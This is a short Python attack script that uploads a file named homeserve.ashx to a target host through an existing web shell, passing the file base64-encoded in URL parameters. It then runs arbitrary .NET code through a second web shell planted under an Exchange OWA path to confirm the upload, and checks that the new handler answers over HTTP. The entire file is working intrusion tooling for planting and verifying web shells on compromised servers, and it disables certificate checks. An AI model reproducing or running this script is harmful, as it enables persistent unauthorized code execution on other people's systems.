#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Upload homeserve.ashx to a target via existing clean command shell (wf + b64)."""
import sys, base64, hashlib, os, requests, urllib3, time
urllib3.disable_warnings()

HOST = sys.argv[1]
SHELL = sys.argv[2]
SRC = sys.argv[3]
DST = sys.argv[4]

data = open(SRC, "rb").read()
print("LOCAL", len(data), "bytes md5=" + hashlib.md5(data).hexdigest())
b64 = base64.b64encode(data).decode()

s = requests.Session()
url = "https://%s%s" % (HOST, SHELL)
r = s.get(url, params={"wf": DST, "b64": b64}, timeout=90, verify=False)
print("UPLOAD", r.status_code, r.text[:160].replace("\n", " "))

# verify via the same shell: read back size + md5 using in-process .NET
js = ('var f="%s";var b=System.IO.File.ReadAllBytes(f);'
      'var md5=System.Security.Cryptography.MD5.Create();'
      'var h=md5.ComputeHash(b);var s="";for(var i=0;i<h.Length;i++){s+=h[i].ToString("x2");}'
      'Response.Write("SIZE:"+b.Length+" MD5:"+s);') % DST.replace("\\", "\\\\")
r2 = s.post("https://%s/owa/auth/lgkwdd.aspx" % HOST, data={"exec_code": js}, timeout=60, verify=False)
print("VERIFY", r2.status_code, r2.text[:200].replace("\n", " "))

# HTTP reachability of the ashx
for p in ["/aspnet_client/homeserve.ashx"]:
    try:
        r3 = s.get("https://%s%s" % (HOST, p), timeout=30, verify=False)
        print("HTTP", p, r3.status_code, r3.text[:80].replace("\n", " "))
    except Exception as e:
        print("HTTP", p, "ERR", str(e)[:80])
